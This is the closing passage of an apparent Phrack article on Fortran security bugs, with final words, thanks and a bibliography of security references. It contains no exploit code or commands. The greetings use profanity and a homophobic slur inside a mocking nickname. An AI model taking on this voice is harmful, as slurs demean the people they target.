       While I didn't test any of them, I can imagine that there may 
       effective ones as some kind of bugs would really be easy to spot 
       using for example type checking (first thing that comes to my mind).
       Anyway it's just mere speculation. Either test it or forget it. Like
       we care anyway.

Sometimes a condom is not enough. The best for you is probably not to use 
this insanely fucked language. Once again, who cares about Fortran anyway?

          [ http://www.fortranstatement.com/cgi-bin/petition.pl ]

                                    ---

---[ 8 - The final words

There would have been a lot more to add (studying other compilers/arch) but 
unfortunately time is running out and I would rather not make the paper 
more boring than it currently is ;) Anyway as far as I can tell, the 
essential is covered and with that in mind and a bit of practice, I expect
you to be able to quickly find new bugs.

Hackers dealing with/busting/exploiting bugs in Fortran programs are 
so rare in our World that I bet that none of you had ever heard a word 
about Fortran's security issues. Nowadays people are more focused on 
languages such as PHP, Java or .NET which is normal for obvious reasons. 
Now it doesn't mean that other languages are not interesting too and you 
never know when appropriate knowledge becomes handy. History proved that 
bugs not always occurred in the 'daily' hacking playground (C/PHP, 
Unix/Windows) [R19] so why would we restrain ourselves?

Not convinced? OK allow me to alter the smart thoughts of a fellow p67 
writer: "We hack Fortran just because we can. We don't really need a reason
anyway as soon as bugs are there, we are there."

                                    ---

---[ 8 - Greetz

My first thoughts are for all talented hackers with whom I had so much to
share all these years. May you guys never lose that spirit of yours nor
your ethics [R15]. Special thanks to the Phrack staff for their help, 
advise and review.

Now and because alone life would have no meaning, special thanks to my
friends not only for being there but also for being able to support me
especially when I'm *cranky* as hell :')

Special apologize to the great guys of the FHC (Fortran High Council). Just
for once I wanted to be as cool as king-fag-c0pe though it probably means 
that it's a matter of days before witnessing the bust of all cool Fortran 
0dayZ on FD :((( Don't be afraid sysadmins, thanx to gg security folks 
everything will be done in a 'responsible' way [R16] ;>

Also thanks to all of you who will nominate this paper at the 2011 pwnies 
award as the "most innovative research paper" ;>

                                    ---

---[ 9 - Bibliography

[R1]  http://onepiece.wikia.com/wiki/Buggy
[R2]  Fortran90, ISO/IEC 1539
[R3]  http://gcc.gnu.org/onlinedocs/gfortran/
[R4]  HP Fortran for OpenVMS - Language Reference Manual, HP
[R5]  Shifting the Stack Pointer, andrewg, Phrack #63
[R6]  Basic Integer Overflows, Blexim, Phrack #60
[R7]  http://www.cs.rpi.edu/~szymansk/OOF90/bugs.html
[R8]  http://h71000.www7.hp.com/success-stories.html
[R9]  Hacking OpenVMS, C. Nyberg, C. Oberg & J. Tusini, Defcon16
[R10] http://www.cisl.ucar.edu/tcg/consweb/Fortran90/scnpoint.html
[R11] HP OpenVMS Version 8.3 Release Notes, HP
[R12] Alpha Assembly Language Guide, R.Bryant, Carnegie Mellon University
[R13] http://labs.hoffmanlabs.com/node/401
[R14] OpenVMS Alpha Internals and Data Structures: Memory Management, HP
[R15] Industry check, ZF0 #5
[R16] http://googleonlinesecurity.blogspot.com/2010/07/rebooting-
      responsible-disclosure-focus.html (lol)
[R17] http://ftp.cac.psu.edu/pub/ger/fortran/test/results.txt
[R18] http://www.fortranstatement.com
[R19] http://www5.in.tum.de/persons/huckle//horrorn.pdf
[R20] http://deathrow.vistech.net

                                    ---

    That is the saving of humor, if you fall no one is laughing at you.
                              A. Whitney Brown

                                    ---